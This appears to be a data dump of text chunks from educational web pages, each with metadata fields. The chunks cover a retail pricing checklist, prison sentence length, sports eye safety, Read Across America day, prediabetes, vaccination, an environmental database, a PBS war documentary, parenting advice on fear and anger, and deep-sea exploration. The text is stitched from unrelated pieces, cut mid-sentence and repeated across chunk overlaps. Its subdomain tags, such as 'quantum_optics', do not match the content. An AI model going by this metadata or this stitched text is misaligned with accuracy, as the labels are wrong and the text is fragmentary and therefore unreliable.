should any leader offerings ( selected products with quite, low less profitable prices ) be used? 22. have the characteristics of an effective leader offering been considered? ordinarily, a leader offering needs the following characteristics to accomplish its purpose of generating much shopper traffic : used by most people, bought frequently, very familiar regular price, and not a large expenditure for consumers. 23. will price lining, the practice of setting up distinct points ( such as $ 5. 00, $ 7. 50 and $ 10. 00 ) and then marking all related merchandise at these points, be used? 24 would price lining by means of zones ( such as $ 5. 00 - $ 7. 50 and $ 12. 50 - $ 15. 00 ) be more appropriate than price points? 25. will cent - off coupons be used in newspaper ads or mailed to selected consumers on any occasion? 26. would periodic special sales, combining reduced prices and heavier advertising, be consistent with the store image you are seeking? 27. do certain items have greater appeal than others when they are part of a special sale? 28 has the impact of various sale items on profit been considered? sales prices may mean little or no profit", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47974255359647233, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.514610"} {"text": "be consistent with the store image you are seeking? 27. do certain items have greater appeal than others when they are part of a special sale? 28 has the impact of various sale items on profit been considered? sales prices may mean little or no profit on these items. still, the special sales may contribute to total profits by bringing in shoppers who may also buy some regular - price ( and profitable ) merchandise and by attracting new customers. also, you should avoid featuring items that require a large amount of labor, which in turn would reduce or erase profits. for instance, according to this criterion, shirts would be a better special sales item than men ' s suits that often require free alterations. 29. will \" rain checks \" be issued to consumers who come in for special - sale merchandise that is temporarily out of stock? you should give particular attention to this decision since rain checks are required in some situations. your lawyer or the regional federal trade commission office should be consulted for specific advice regarding whether rain checks are needed in the special sales you plan. nature of the merchandise in this section you will be considering how selected characteristics of particular merchandise affect planned initial markup. 30. did you get a \" good deal \" on the wholesale price of this merchandise? 31. is this item at the peak of its popularity? 32. are handling and selling costs relatively great due to the product being bulky, having a low turnover rate, and requiring much personal selling, installation, or alterations? 33. are relatively large levels of reductions expected due to markdowns, spoilage, breakage, or theft? with respect to the preceding four questions, \" yes \" answers suggest the possibility of or need for larger - than - normal initial markups. for example, very fashionable clothing often will carry a higher markup than basic clothing such as underwear because the particular fashion may suddenly lose its appeal to consumers. 34. will customer services such as delivery, alterations, gift wrapping, and installation be free of charge to customers? the alternative is to charge for some or all of these services the questions in this section focus your attention on three factors outside your business, namely economic conditions, laws, and consumerism. 35. are economic conditions in your trading area abnormal? consumers tend to be price - conscious when the economy is depressed, suggesting that lower - than - normal markups may be needed to be competitive. on the other hand, shoppers are less price - conscious when the economy is booming, which would permit larger markups on a selective basis. 36. are the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43741303998166464, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.515703"} {"text": ", suggesting that lower - than - normal markups may be needed to be competitive. on the other hand, shoppers are less price - conscious when the economy is booming, which would permit larger markups on a selective basis. 36. are the ways in which prices are displayed and promoted compatible with consumerism, one part of which has been a call for more straightforward price information? 37. if yours is a grocery store, it is feasible to use unit pricing in which the item ' s cost per some standard measure is indicated? having asked ( and hopefully answered ) more than three dozen questions, you are indeed ready to establish retail prices. when you have decided on an appropriate percentage markup, 35 percent on a garden hose, for example, the next step is to determine what percentage of the still unknown retail price is represented by the cost figure. the basic markup formula is simply rearranged to do this : cost = retail price - markup cost = 100 % - 35 % = 65 % then the dollar cost, say $ 3. 25 for the garden hose, is plugged in to the following formula to arrive at the retail price : retail price = 65 % ( or. 65 ) one other consideration is necessary : 38. is the retail price consistent with your planned initial markups? set prices adjustments it would be ideal if all items sold at their original retail prices. but we know that things are not always ideal. therefore, a section on price adjustments is necessary. 39. are additional markups called for because wholesale prices have increased or because an item ' s low price causes consumers to question its quality? 40. should employees be given purchase discounts? 41. should any groups of customers, such as students or senior citizens, be given purchase discounts? 42. when markdowns appear necessary, have you first considered other alternatives such as retaining price but changing another element of the retailing mix or storing the merchandise until the next selling season? 43. has an attempt been made to identify causes of markdown so that steps can be taken to minimize the number of avoidable buying, selling, and pricing errors that cause markdowns? 44. has the relationship between timing and size of markdowns been taken into account? in general, markdowns taken early in the selling season or shortly after sales slow down can be smaller than late markdowns. whether an early or late markdown would be more appropriate in a particular situation depends on how many consumers might still be interested in the product, the size of the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4650068299714189, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.516714"} {"text": "the selling season or shortly after sales slow down can be smaller than late markdowns. whether an early or late markdown would be more appropriate in a particular situation depends on how many consumers might still be interested in the product, the size of the initial markup and the amount remaining in stock. 45. would a schedule or automatic markdowns after merchandise has been in stock for specified intervals be appropriate? 46. is the size of the markdown \" just enough \" to stimulate purchases? this question stresses the point that you have to observe the effects of markdowns so that you can know what size markdowns are \" just enough \" for different kinds of merchandise. 47. has a procedure been worked out for markdowns on price - lined merchandise? 48. is the markdown price calculated from the off - retail percentage? this question gets you into the arithmetic of markdowns. usually, you first tentatively decide on the percentage amount price must be marked down to excite consumers. for example, if you think a 25 percent markdown will be necessary to sell a lavender sofa, the dollar amount of the markdown is calculated as follows : dollar markdown = off - retail percentage x previous retail price dollar markdown = 25 % ( or. 25 ) x $ 500 = $ 125 then the markdown price is obtained by subtracting the dollar markdown from the previous retail price. hence, the sofa would be $ 375. 00 after taking the markdown. 49. has cost of the merchandise been considered before setting the markdown price? this is not to say that a markdown price should never be lower than cost, on the contrary, a price that low may be your only hope of generating some revenue from the item. but cost should be considered to make sure that below - cost markdown prices are the exception in your store rather than being so common that your total profits are really hurt. 50. have procedures for recording the dollar amounts, percentages, and probable causes of markdowns been set up? markdown analysis can provide information for assist in calculating planned initial markup, in decreasing errors that cause markdowns, and in evaluating suppliers. 51. have you marked the calendar for a periodic review of your pricing decisions? rather than making careless pricing decisions, this checklist should help you lay a solid foundation of effective prices as you try to build retail profits. copyright \u00a9 by bizmove. all rights reserved.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.40562872886590123, "token_count": 496, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.517684"} {"text": "a prisoner \u2019 s length of stay is driven by a complicated mix of crime, conviction rates, policies and practices within the legislative, executive and judicial segments of government. there are four primary factors that influence prison length of stay : criminal penalty statues ; legislature funding for prisons and alternatives to incarceration ; court policies and decisions ; and release policies by corrections departments, parole boards and the executive branch. criminal statutes : at a basic level, a prisoner \u2019 s average length of stay is determined by the type of crime for which that individual is convicted. if a state focuses on cracking down on drug activity and the overall prison population tilts toward more drug offenders, it is likely the length of stay will be shorter than if a state focused on convicting violent offenders. legislative priorities : states \u2019 approaches to shaping sentencing varies, but another baseline for determining average length of stay is how the legislature defines sentences, including minimum and maximum terms in prison. more rigid guidelines for courts and agencies to follow will often translate to longer lengths of stay. courts and prosecutors : how prosecutors charge or offer plea bargains to defendants will also affect lengths of stay. national estimates suggest more than nine out of 10 cases involve plea bargains. when this discretion is limited, length of stay in prison goes up. agency release decisions : using factors such as conduct while in custody, criminal history or offense type, parole boards often have a fair amount of discretion in referring inmates to parole supervision. some parole boards like to know electronic monitoring, treatment or training programs are in place prior to recommending parole. programs such as a geo care / bi day reporting center or residential reentry center offers good examples of programs that support parole in facilitating successful community reintegration. with states focused on driving costs down, average length of stay is an important variable many leaders are eyeing closely. a recent report by the pew center on the states, \u201c time served, \u201d reviews prison lengths of stay in depth, including a state - by - state review of prison statistics.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4161592024441272, "token_count": 403, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.519916"} {"text": "on thursday, april 19, 2012 did you know that eye injuries are the leading cause of blindness in children in the united states? most of these eye injuries are sports related. in fact, most eye injuries among kids ages 11 - 14 occur while playing sports. of these eye injuries, almost 90 % of them could have been prevented with the use of protective eyewear. first, an eye exam before enrolling a child in any sport is important. an eye exam done by an eye care professional can help detect preexisting eye conditions in athletes. after an eye exam, an eyecare professional can recommend the best protective eyewear for that patient. protective eyewear includes safety glasses and goggles, safety shields, and eye guards designed for a particular sport. while protective eyewear does not include contact lenses, protective eyewear can easily be worn over them. in fact, all active children are encouraged to wear protective eyewear ; not just children who need vision correction. here is a breakdown of sports according to eye injury risks : the national eye institute provides a list of recommended protective eyewear for specific sports here. you can talk to an eyecare professional about the right type of protective eyewear for your child and to ensure proper fit. remember, protecting eyes during sports can help prevent blindness and permanent eye damage. make sure to talk about eye safety and sports with an eyecare professional for more information.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47703950417183183, "token_count": 282, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.521445"} {"text": "it \u2019 s funny. even in this very fast - paced, technology driven world of ours, reading has never gone out of style. perhaps the way we read has changed a little bit as many of us have adapted to life with a tablet, but no matter how the words are delivered, there is still nothing like curling up with a really good book. introducing and teaching children about the joy found in books and reading is what national read across america day is all about! for sixteen years running, the national education association has sponsored read across america day, which will be commemorated with book fairs, read - a - longs or any number of other reading - centered events at a school or library near you! the excitement and genuine fun surrounding the events found as a part of read across america day are specifically geared toward kids in order to get them enthused and motivated about books and reading. increasing awareness and motivation when it comes to reading is proven to make a very positive difference for kids as the more kids read, the better their performance in school will eventually be. read across america day is appropriately celebrated on march 2, in honor of one of the greatest authors of children \u2019 s literature, dr. seuss, whose birthday falls on this day. this year because march 2nd falls on a saturday, read across america is moved to this coming friday, march 1st. ask your local school or your child \u2019 s teacher about what fun and exciting activities may be in store for you and your child as many of these events you will definitely want to participate in! because of the dr. seuss connection to this special and unique reading event, it has become common in many locations for both kids and adults to dress up in appropriate costumes, actually becoming some of the more popular characters from dr. seuss \u2019 children \u2019 s books. in particular, the cat in the hat character seems to reign supreme over read across america, this year being no different. the 2013 read across america theme is \u201c grab your hat and read with the cat! \u201d be sure to check out our complete selection of \u201c cat in the hat \u201d hats, costumes and accessories that are going to be perfect for all your read across america dress up needs! starting kids very early in life with exposure to books and reading makes a huge difference to them later on when they begin school. even as infants and toddlers, kids should be read to often, have books available to them that they can see and look at, as well as being continually exposed to and seeing others regularly reading around them. having a", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.42334769205801226, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.524223"} {"text": "kalamazoo - - the formula for living diabetes - free is pretty simple, but it ' s one that hundreds of thousands of people are either missing or ignoring, says dr. michael valitutto, medical director for the borgess center for diabetes care. to avoid getting type 2 diabetes, it ' s important to make healthier food choices, stay physically active and maintain a healthy weight, valitutto says. one way that the medical community is aiming to reduce the incidence of diabetes is by alerting people when their blood - sugar levels are at a \" prediabetic \" stage so that they can change their eating and exercise habits. people with prediabetes are likely to develop diabetes within 10 years unless they take steps to prevent the disease, according to the national institute of diabetes and digestive and kidney disease. prediabetes blood - glucose levels are defined as those between 100 and 125 milligrams in a fasting state, or 140 and 200 in a nonfasting state. in 2003, the threshold for a prediabetes diagnosis was lowered from 110 to 100 while fasting because of research indicating that people ' s health was already beginning to be affected at that level, according to a spokesman for the american diabetes association. \" there was good clinical evidence that people needed to be aware that their risk for diabetes was increasing and that they needed to be taking action to stop that progression, \" said matt petersen, director of information resources for the american diabetes association. yet, valitutto says that there is not a widespread sense of urgency about the disease, even among doctors. \" i think there ' s been some improvement, but we have light - years to go, \" valitutto said. \" we truly have to transform how we approach chronic disease management. we have to become more savvy.... \" we can ' t crawl anymore. it ' s time to start running. we ' ve got to do it now. we don ' t have time to wait. \" the number of people with diabetes is expected to increase by 165 percent in the next 20 to 25 years because of this country ' s continued problems with obesity and inadequate exercise, valitutto said. \" people should take prediabetes very seriously, \" said becky emerson, educational services instructor for the bronson diabetes education center. \" there ' s really no such thing as borderline. once you ' ve hit a blood glucose higher than normal, you need to start being proactive.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42200934345583674, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.527747"} {"text": "seriously, \" said becky emerson, educational services instructor for the bronson diabetes education center. \" there ' s really no such thing as borderline. once you ' ve hit a blood glucose higher than normal, you need to start being proactive. \" \u2022 about 23. 6 million people, or 7. 8 percent of the u. s. population, are living with diabetes. more than twice that number - - 57 million people - - are what medical experts label prediabetic. \u2022 about 90 to 95 percent of people diagnosed with diabetes have type 2. \u2022 exercising just 30 minutes a day and reducing body weight by 5 to 10 percent reduced type 2 diabetes in 58 percent of cases. sources : american diabetes association, national institutes of health diabetes education and support \u2022 the bronson diabetes education center, 820 john st., offers individual and group classes for people referred by a physician. it also offers a support group for people with diabetes. 341 - 7654 or www. bronsonhealth. com ( click on \" medical services, \" then select \" diabetes \" ). \u2022 the borgess center for diabetes care, 1717 shaffer st., in kalamazoo, offers free prediabetes classes, three sessions each, once a month. it also offers individual diabetes education and an insulin pump therapy program. 226 - 8321 or www. borgess. com. diabetes wellness conference ' 08, to provide information to people with diabetes and their families, 7 : 30 a. m. to 12 : 15 p. m. saturday, kalamazoo valley community college, texas township. hosted by borgess center for diabetes care and american diabetes association. free, but advance registration required by noon friday. 226 - 8135 or ( 800 ) 828 - 8135.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4431159921754648, "token_count": 360, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.528558"} {"text": "one of the most compelling paragraphs i ' ve read in support of vaccinations ( read the entire outstanding article at http : / / meganmcardle. theatlantic. com / archives / 2008 / 03 / correlation _ causation _ vaccinat. php ). leaving children unvaccinated means going back to : in class we had a professor tell us that we will encounter parents not interested in vaccination. i know some personally, so this was no surprise, but believe it or not this was news to some of the medical students in my class. - leg braces and iron lungs for people with polio ( 57, 628 cases in 1952 ) - encephalitis and sterility for people with mumps ( 200, 000 cases a year in the 1960s ) - congenital rubella syndrome for children whose mothers contracted the illness during pregnancy. - blindness, pneumonia, encephalitis, and death - - one per thousand - - for people wth measles ( nearly 1 million cases a year in the us before vaccines ). - encephalitis and pulmonary hypertension for people with whooping cough - - thanks to people who don ' t vaccinate their kids, in 2001, 17 people, mostly infants, died of pertussis ( 200, 000 cases in 1940 ). - cardiac arrest and paralysis for people with diptheria ( 207, 000 cases and about 15, 000 deaths in 1920 ). the vaccines scare us because the diseases don ' t. and they don ' t because of the vaccines. \" some of them you can reason with, \" the professor explained, \" but you will have some parents that simply won ' t change their minds. for them, you can argue ' till you ' re blue in the face, but they just won ' t change their opinion. from personal experience, i ' ve found that it ' s just simply not worth the time to try to change their minds - they just won ' t budge. \"", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.49691126544642217, "token_count": 413, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.530505"} {"text": "michigan state university libraries home news about environmental studies resources or events provided by the msu libraries. for more information visit the environmental studies resources web page or contact jon harrison at firstname. lastname @ example. org | \u00ab economic valuation / impact of green infrastructure assets and conservation spending in michigan | | find an energy - saving light bulb \u00bb | the greenfile database by ebsco is the latest addition to the environmental studies suite of databases offered by the msu libraries. greenfile offers well - researched information covering all aspects of human impact to the environment. its collection of scholarly, government and general - interest titles includes content on global warming, green building, pollution, sustainable agriculture, renewable energy, recycling, and more. the database provides indexing and abstracts for approximately 295, 000 records, as well as open access full text for more than 4, 600 records. greenfile is a resource designed to help individuals and organizations interested in reducing the negative impact and increasing the positive impact they have on the environment. the database includes information for individuals, such as installing solar panels and recycling ; for corporation needing information on green agriculture, hybrid cars or waste management ; as well as, environmental laws, regulations and studies. the goal is for greenfile to be a practical tool for everyday information and a resource for academic study and classroom activities. greenfile covers content going back more than 35 years. journal articles unique to greenfile include : bioscience, journal of environmental planning & management, journal of ecology, and conservation biology. the database also contains bibliographic information for key non - scholarly titles such as : e - the environmental magazine, natural life, and mother earth news. to access greenfile, go to http : / / www. greeninfoonline. com. | < < < | | > > > |", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4805659269980286, "token_count": 374, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.532380"} {"text": "by melissa silverstein november 8, 2011 12 : 53 pm 0 comments as a long - time documentary producer, i \u2019 ve come across countless films about war and conflict. but few of those narratives captured the larger picture of warfare. war redefined, the final episode of the five - part series women, war & peace ( which airs tonight - check your local pbs listings ), tells the story of modern war in its totality \u2013 and shows how women are at the forefront of conflict in ways that few of us realized. after months of rigorous research into the contours of today \u2019 s global conflicts, patterns emerged that led us to the episode you \u2019 re seeing tonight. we noticed the disappearance of the so - called \" frontlines \" of war \u2013 men in uniform are no longer fighting men in uniform in distant battlefields. we saw, again and again, the dramatic influence of small arms in the post - cold war era : their ubiquity, their volume, and how easily they are sold across borders. we saw that rape and violence specifically targeting women has become a systematic weapon of warfare and ethnic cleansing. but, perhaps most important, we observed the often underreported power of women in conflict zones. we were stunned by the courage with which women are fighting for justice, rebuilding their communities and participating in the efforts to sustain peace, often at great personal risk. ultimately, we focused on stories in four separate war zones : bosnia, liberia, afghanistan and colombia. and the shared experience we found most arresting and important for american viewers to grasp was that women are not just primary targets in modern warfare but are primary change - agents as well. in war redefined, the capstone episode of the series, we draw on the themes of the first four films and go beyond them. through incisive interviews with leading thinkers, secretaries of state, and seasoned survivors of war and peace - making, the film conveys the impact of small arms proliferation ; articulates how natural resources are at the heart of some of these wars ; reports on how international pressure helped bring an end to impunity for sexual violence ; and relays the powerful stories of women restoring peace and justice to a society. the film also points to the importance of including women in post - conflict rebuilding. nobel peace prize laureate leymah gbowee, for example, explains that disarmament is a process that is dominated by outsiders who don \u2019 t know who has the guns. you have to talk to the community, she says. \u201c and who are", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4755625002118192, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.536057"} {"text": "peace prize laureate leymah gbowee, for example, explains that disarmament is a process that is dominated by outsiders who don \u2019 t know who has the guns. you have to talk to the community, she says. \u201c and who are those community members who are in the best position? \u201d she asks, \u201c some of the mothers who know that their sons were fighters. \u201d most strikingly, war redefined is an episode that in its very title gets at the core mission of the women, war & peaceseries : to actively, thoughtfully redefine our conceptions of war, giving it new faces, new textures of meaning, new vocabulary, new dialogue. for americans, this fresh look is particularly important. i can ' t count the number of times that friends and family \u2013 in hearing me talk about our plans for the series, and its progress \u2013 reacted to my stories with the phrase, \" i had no idea. \" as americans, it ' s true that we don ' t really know war. we don ' t experience war on our soil. we don ' t live through war in the way that women on the ground in liberia, colombia, afghanistan do. we don ' t see the way that women serve \u2013 - as the human glue that holds their homes and communities together as war threatens to tear it apart. we often say that soldiers serve in war \u2013 and they do. but women serve, too. and it is their service \u2013 as soldiers, as peacemakers, as mothers, as voters, as activists, as community leaders, and as witnesses \u2013 that turns our old - fashioned story of war on its head. nina chaudry is the senior producer of women, war & peace and co - producer of the last film in the series, war redefined. she oversees the women, war & peace website. as a senior member of pbs \u2019 s emmy - winning foreign affairs documentary series wide angle, she oversaw the production of more than 40 documentaries, covering issues such as the drug - fueled corruption in colombia, the challenges to fostering democracy in afghanistan, and efforts to reduce maternal mortality in sub - saharan africa. below she reflects on her experiences working on the series as the final episode airs tuesday night. check local listings for war redefined, tuesday, november 8 on your local pbs station.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4613293599744284, "token_count": 470, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.536996"} {"text": "have you noticed persons who do scary things are scared themselves? in the movie series, \u201c star wars, \u201d master yoda observes this very human emotional response when he says, \u201c fear is the path to the dark side. \u201d fear can take us in one of two directions. whereas low levels of fear can energize us to achieve our goals in healthy ways, not so when it comes to intense and prolonged levels of fear, which can negatively impact our health and choices. it can be especially scary to us, as parents, when faced with having to deal with our children \u2019 s fears. when they behave in ways that challenge us, for example, lying, being defiant, hitting, etc., it can threaten our sense of efficacy. this can scare us. it can also take us back to a time when we were children, which may exacerbate our fears, neediness or reactivity. and that is the opposite of what we or our children need. the blind cannot lead the blind, nor can the needy nurture the needy. treating your self and your child with dignity, especially when one or both of you are not feeling lovable, is a key that opens hearts and allows you to meaningfully connect. anger, and its two directions? excessive fear sets off alarms in the body and mind that, in effect, erect walls and division in our brains that can keep us in the \u201c dark \u201d \u2013 living with \u201c unrealistic \u201d life - limiting fears. in effect, fear prevents the different parts of the mind and body from communicating effectively with one another. fear can mislead us, for example, to rely on anger as protective shield, rather than the useful messenger it is intended to be, ideally, to nudge us to take action to improve our life in some way. in an episode of star wars master yoda well explains the process that can lead us down rabbit holes : \u201c fear leads to anger. anger leads to hate. hate leads to suffering. \u201d it is a secondary emotion that keeps emotions of vulnerability, i. e., fear, worry, doubts, at bay, as they can otherwise prevent us from taking action to stand up for or protect ourselves. anger serves more than our survival. it helps us take action to thrive, to move past the most challenging of circumstances or obstacles, and so on. low levels of fear and anger work together to keep us on our desired course in life. prolonged anger fuels hatred. in time, hatred causes suffering, a state in which we", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47330799653580274, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.544803"} {"text": "to move past the most challenging of circumstances or obstacles, and so on. low levels of fear and anger work together to keep us on our desired course in life. prolonged anger fuels hatred. in time, hatred causes suffering, a state in which we can get lost or stuck in the dark, cut off from life enriching connection to self and others. from the perspective of ancient philosopher socrates, no person knowingly does wrong. in his words, \u201c there is only one good, knowledge, and one evil, ignorance. \u201d yes, people do hurtful, at times even horrific things. socrates would say this stems from a lack of knowledge and understanding about the essential nature of life. and, the biggest impediment to the understanding they need is : fear. in modern times, the words of another thinker, henry ford, echoed a similar conviction, \u201c what we call evil, it seems to me, is simply ignorance bumping its head in the dark. \u201d likewise, those who do hurtful things are hurting ; those who do desperate things are desperate. another thinker, sophocles, put it this way, \u201c all concerns of men ( and women ) go wrong when they wish to cure evil with evil. \u201d for human beings, hatred is a place of suffering \u2013 emotional, psychological, and, spiritual. it can lead to what may be the scariest feelings of all : a sense of inefficacy and loss of hope. in other words, feelings helplessness, powerlessness or hopelessness. from these emotional states, stem unwise choices, desperate actions. if ignored, emotional suffering can lead to physical symptoms. a compassionate understanding of our human nature? what thinkers throughout history did not have that thinkers have today are the advanced methods of neuroscience. thanks to neuroscience, what were once theories of brilliant thinkers are now proven science. we are relationship beings by nature. not only because we are wired with circuitry for caring and empathic connection, or because our brain is a relationship organ, but also because our health, development and vitality rely on the formation of relationships. to the extent they are healthy and vibrant, so are we. we are concerned about the formation of connections, communication, verbal and nonverbal, from the day we are born. our deepest strivings are for love and meaningful connection to life within and around you. it makes sense, therefore, that we would be overwhelmed by fear at the prospect of not fulfilling these inborn strivings. this explains", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5668574330462286, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.547256"} {"text": "born. our deepest strivings are for love and meaningful connection to life within and around you. it makes sense, therefore, that we would be overwhelmed by fear at the prospect of not fulfilling these inborn strivings. this explains why caring responses, our own and other \u2019 s, enhance our sense of security \u2013 and why some of our greatest fears, i. e., rejection or abandonment, have to do with what threatens to separate us from whom and what we love. as adults, to the extent we love, we are healthy. next time you are fearful of a situation, stop and notice how instantly the fear can turn to anger. then observe that, if you stay focused on thoughts that fuel the intensity of the anger, how the anger turns to hate or rage. a compassionate understanding of our children? children who experience difficulties in their relationships with others may be filled and overwhelmed by emotions of anger, hate and suffering. they live in anger. at the root of the anger or hatred they feel, however, is really fear. perhaps fear from the first time they were left alone, and felt abandoned. or, fear from the first time they felt rejection, a parent \u2019 s or teacher \u2019 s, or a classmate \u2019 s or friend \u2019 s. or, perhaps, fear from the first time they were hit, yelled or screamed at, or they experienced a parent lose control over their emotions and hit a sibling. if they had little opportunity to have someone listen and understand, empathize and validate their fear, their fear and anger likely build up. in time, their anger and rage may seem everywhere present, and their past fears are buried very deep. it \u2019 s not easy for them to \u201c see \u201d their own fear as the anger steps in to \u2018 protect \u2019 and keep them \u2018 safely \u2019 separated from their fear. it is too scary to look at that fear. thus, experiencing fear becomes what is feared most \u2014 and avoided at any cost. next time your child is angry, say to him / her, \u201c i can see you are really frustrated and hurt, it must be painful. \u201d or, \u201c you \u2019 re really upset, aren \u2019 t you? \u201d follow the words backwards. in time you will find the fear. the key to healing in your relationship with your child is seeing the fear, and creating an environment in which it is safe for the child to experience, recognize and feel his fears. be careful though, you can \u2019 t do it for her, you can only support", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5079764507503576, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.548425"} {"text": "healing in your relationship with your child is seeing the fear, and creating an environment in which it is safe for the child to experience, recognize and feel his fears. be careful though, you can \u2019 t do it for her, you can only support her and make it safe for her to see her fear. once children feel safe enough, they will see the fear. use your energy to create safety for them to feel safe enough to see the fear. next time your child erupts, stop and take a deep, long breath. think. what might the child be afraid of right now. go beneath surface fears to the existential fears human beings face throughout life, fear of looking stupid ; fear of not being right ; fear of being scolded ; fear of rejection ; fear of being hurt, fear of loss of power to others ; fear of being invisible to others ; fear of loss of value or worth in relation to others, and so on. existential fears are connected to core emotional striving for safety, esteem, acceptance, love, power, safety, contribution, purpose, among others. an exercise to experiment with yourself. 1. think of something that makes you feel feelings of anger, hate, hurt. then look inside to explore the fear. 2. next, think about what you tell yourself when you feel afraid. 3. now imagine what someone you care about could do, when you are feeling emotions of anger, hatred, hurt, etc., to calm and help you restore your sense of safety. the steps above can help you see what your child would most benefit from as well. in the presence of acceptance, as it was for you, it will be easier for your child to see what they are most afraid of in a situation. something powerful happens when we connect to our fears as if feeling and understanding them were a natural way to relate to one another. it shines a new light. we suddenly realize a situation is not as scary as we once thought. are your responses to fear rooted in love or fear? emotions spark behaviors, and emotions and behaviors are rooted primarily in emotions of either love or fear. the following diagram displays some examples : anger, hostility, shame, frustration, envy, fear, guilt, jealousy happiness, joy, pride, confidence, elation, gratitude lying, stealing, fighting, bullying, aggression, resistance, retaliation, screaming, blaming, pitting others against one another cooperation, empathy, reciprocity, smiling, motivation, thoughtfulness, contribution, nurturing healthy relationships", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5141810274237566, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.549494"} {"text": ", elation, gratitude lying, stealing, fighting, bullying, aggression, resistance, retaliation, screaming, blaming, pitting others against one another cooperation, empathy, reciprocity, smiling, motivation, thoughtfulness, contribution, nurturing healthy relationships whatever it is, it takes time and patience to calm yourself and gain the confidence to \u201c see \u201d a situation from a place that allows you to courageously face any fears, and know you are built to not only handle your own, but also be a holding place for your children to learn to handle theirs. so, the next time your child displays angry or upsetting behaviors, connect to what they may be feeling and yearning, and outwardly express this with a guess. for example, \u201c are you feeling upset that he didn \u2019 t share his toy because you wanted to play together? that makes sense. \u201d follow the words, find the fear, stay rooted in calm, centered confidence. this helps them face their fears, with the eyes of your love. a child most needs to feel safe enough to love, and so do you. we \u2019 re human, remember? we most want to matter, to feel valued in relation to life around us. it \u2019 s scary to love when, for whatever reason, we do not feel loved in return. make your first priority to feel your own fears, to be a firm yet kind and accepting presence. this best assures that you will be calm, confident, and present to your child. remember your job is not to fix their fear or upset, rather to teach them to feel safe enough to stay connected to the inner world of their mind and heart, in handling their upsets. \u201c please remember, it is what you are that heals, not what you know. \u201d \u2013 carl jung your presence in mind and heart builds a path that is brightly lit with a growing understanding of your self and children, first and foremost, as human beings who are phenomenally wired, with the capacity and strength, to learn to love with their whole hearts. this post currently has you can read the comments or leave your own thoughts. athena staik, ph. d. ( september 24, 2011 ) from psych central ' s website : psychcentral ( september 24, 2011 ) mental health social ( september 24, 2011 ) chi yon ( september 24, 2011 ) athena staik, ph. d. ( september 25, 2011 ) talkingteenage ( september 25, 2011 ) stefanie zucker ( september 26, 2011 )", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.49506672709905264, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.550433"} {"text": "february 22, 2013 | 7 it \u2019 s often said that we know less about the bottom of our own ocean than we do about the surface of mars. the governments of the world, and our government in particular, seem presently much less than enthusiastic about exploring the oceans of our own planet than in exploring other planets ( ocean research seems to have taken a particular hit in the last decade of congressional budget cuts, although admittedly, all agencies have seen cutbacks ). so film director and explorer james cameron decided to build his own extreme deep sea sub and explore the deepest ocean trenches in the world himself. in the last few years, he descended into several trenches \u2014 including the mariana last march, which at 36, 000 feet, is the deepest in the world \u2014 but remained pretty mum about 